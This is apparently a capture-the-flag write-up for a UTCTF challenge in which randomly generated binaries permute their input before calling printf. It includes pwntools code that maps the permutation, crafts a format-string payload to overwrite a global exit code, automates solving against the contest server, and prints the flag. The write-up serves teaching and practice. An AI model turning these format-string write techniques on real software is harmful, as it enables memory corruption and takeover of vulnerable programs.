Tags: format-string permutations
Rating:
# Writeup
If we interact with the server:
```
$ nc pwn.utctf.live 5002
You will be given 10 randomly generated binaries.
You have 60 seconds to solve each one.
Solve the binary by making it exit with the given exit code
Press enter when you're ready for the first binary.
```
After pressing enter, we're given a small binary in hexdump format.
We copy it in a file ```random_0.hex``` and get the actual ELF with:
```
$ xxd -r random_0.hex > random_0
```
Now, we can guess that the randomly generated binaries are similar among them, the randomness will be in some input-modifying function.
So we analyze the obtained executable file:
```
$ file random_0
random_0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=335c472b5b0059a4d4826b6c1f8218d59e757ff0, for GNU/Linux 3.2.0, not stripped
$ checksec random_0
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ ltrace ./random_0
fgets(AAAAAAAAAAA
"AAAAAAAAAAA\n", 514, 0x7f380aa14800) = 0x7ffcc61b7380
printf("") = 0
exit(0 <no return ...>
+++ exited (status 0) +++
```
It has some protections enabled, and it basically ```fgets``` at most 514 bytes of data, then performs a ```printf```.
If we decompile it with Ghidra, we can see that the binary performs these actions:
```
fgets((char *)&local_218,0x202,stdin);
permute((long)&local_218);
printf((char *)&local_218);
exit(exit_code);
```
So, it's clearly the case of a format string attack; our ltrace showed that the printf had a null string as parameter because there is input permutation, which in this case has put a null byte at the start of the buffer.
The ```exit_code``` is a global variable, so the idea is to perform the format string attack to overwrite it with the exit code given alongside the binary.
The ```permute``` function calls 8 permutation sub-functions in random order, for example:
```
void permute(long param_1)
{
permute2(param_1);
permute3(param_1);
permute6(param_1);
permute7(param_1);
permute4(param_1);
permute1(param_1);
permute8(param_1);
permute5(param_1);
return;
}
```
A combination of permutations is still a permutation, so we can get a complete mapping ```position i -> position j``` by executing the program locally many times (we don't need to use angr to solve this task).
The first thing to do is to patch the binary to develop a working exploit, without permutation; so we basically replace the call to ```permute``` in ```main``` with a sequence of NOP instructions.
We save the patched binary into ```random_0_patched``` and developed the exploit for it (it wanted 168 as exit code):
```
def test_exploit_patched():
elf = ELF("./random_0_patched")
context.binary = elf
addr = elf.symbols['exit_code']
val = 168
# target_payload = fmtstr_payload(8, {addr: val})
target_payload = f"%{val}c%10$n".encode()
target_payload += b'A' * (16 - len(target_payload))
target_payload += p64(addr)
print(target_payload)
r = elf.process()
r.sendline(target_payload)
_exit_code = r.poll(block=True)
print(_exit_code)
```
Now that we have a working exploit, we need a function to get the permutation map, so that the executable will put the characters of the exploit in the right positions.
The permutation map can be obtained very fast by starting the executable a few times, but I went for an easy, non-optimized function:
```
def get_permutation_map(filename):
mapping = {}
for i in range(0x202):
payload = "_" * i + "A" + "_" * (0x202 - i - 1)
r = process([filename])
r.sendline(payload)
res = r.recv().decode()
r.close()
try:
pos = res.index('A')
mapping[pos] = i
except:
pass
return mapping
```
It's quick and dirty and it obtains just a single mapping for every execution (so, 514 processes for full mapping), but it does the job.
Now we can put the pieces together and test the exploit on the original binary:
```
def test_exploit():
filename = "./random_0"
elf = ELF(filename)
context.binary = elf
addr = elf.symbols['exit_code']
val = 168
target_payload = f"%{val}c%10$n".encode()
target_payload += b'A' * (16 - len(target_payload))
target_payload += p64(addr)
mapping = get_permutation_map(filename)
exploit = [b'_' for _ in range(0x202)]
for i in range(len(target_payload)):
exploit[mapping[i]] = target_payload[i].to_bytes(1, 'little')
exploit = b"".join(exploit)
r = elf.process()
r.sendline(exploit)
_exit_code = r.poll(block=True)
print(_exit_code)
```
It's quite slow, but it works; the last thing to do is to automate the interaction with the remote service, to get the binary, decode it, make it executable, get the desired exit code, get the permutation mapping and craft the final exploit, then repeat this for 10 times. An implementation issue is that we have to make sure that the ```fgets``` of a binary reads all our input, otherwise the ```fgets``` of the next binary will read some non-flushed input and the exploit will not work. To overcome this issue, we have to truncate our exploit payload to the minimum length required to perform the format string attack (i.e., we must not add padding to reach 514 bytes).
```
from pwn import *
import os
import time
...
def get_permutation_map(filename):
...
def main():
r = remote("pwn.utctf.live", 5002)
r.sendlineafter('binary.\n', '')
for k in range(10):
data = r.recvrepeat(2).decode().split('\n\n')
start = time.time()
binary = data[0]
ind = binary.index("00000000:")
binary = binary[ind:]
with open("random_bin.hex", 'w') as f:
f.write(binary)
os.system("xxd -r random_bin.hex > random_bin")
os.system("chmod +x random_bin")
val = int(data[1].split('\n')[1].split(' ')[-1])
filename = "./random_bin"
elf = ELF(filename)
context.binary = elf
addr = elf.symbols['exit_code']
target_payload = f"%{val}c%10$n".encode()
target_payload += b'A' * (16 - len(target_payload))
target_payload += p64(addr)
mapping = get_permutation_map(filename)
exploit = [b'_' for _ in range(0x201)]
_max = 0
for i in range(len(target_payload)):
exploit[mapping[i]] = target_payload[i].to_bytes(1, 'little')
if mapping[i] > _max:
_max = mapping[i]
exploit = b"".join(exploit)[:_max+1]
elapsed = time.time() - start
print(f"{exploit = }")
print(f"{val = }")
print(f"{elapsed = }")
r.sendline(exploit)
r.interactive()
```
By running it, we obtain:
```
$ python script.py
...
exploit = b'______________________________________________________________________________________________________________________________________________________________________________________________________A%5c%10$nAAAAAAA_\\@@\x00\x00\x00\x00\x00'
val = 5
elapsed = 8.956268072128296
[*] Switching to interactive mode
Process exited with return code 5
Congrats!
utflag{you_mix_me_right_round_baby_right_round135799835}
```